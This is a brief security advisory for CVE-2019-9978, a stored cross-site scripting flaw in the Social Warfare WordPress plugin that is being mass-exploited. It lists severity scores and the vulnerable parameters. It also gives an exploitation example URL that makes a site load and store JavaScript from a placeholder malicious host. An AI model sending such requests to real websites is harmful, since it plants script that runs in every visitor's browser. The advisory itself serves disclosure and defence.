A stored XSS vulnerability in the Social Warfare plugin, used by 70 000 users, led to a mass hacking campaign of WordPress websites.
Vulnerability details
Advisory: SB2019032105 - Stored XSS in Social Warfare WordPress plugin
Vulnerable component: WordPress Social Sharing Plugin - Social Warfare
CVE-ID: CVE-2019-9978
CVSSv3 score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N/E:H/RL:O/RC:C
CWE-ID: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Description:
The vulnerability allows a remote attacker to perform cross-site scripting attacks.
The vulnerability exists due to usage of the eval() JavaScript call on data passed via the "swp_url" HTTP GET parameter to "/wp-admin/admin-post.php" script, when "swp_debug" is set to "load_options", allowing to permanently inject and execute arbitrary JavaScript code on the website. A remote unauthenticated attacker can store a specially crafted JavaScript code into database and execute it in browser of every website visitor.
Note: this vulnerability is being actively exploited in the wild.
Exploitation example:
http://[host]/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://[malicious_js_script]/
Public Exploits: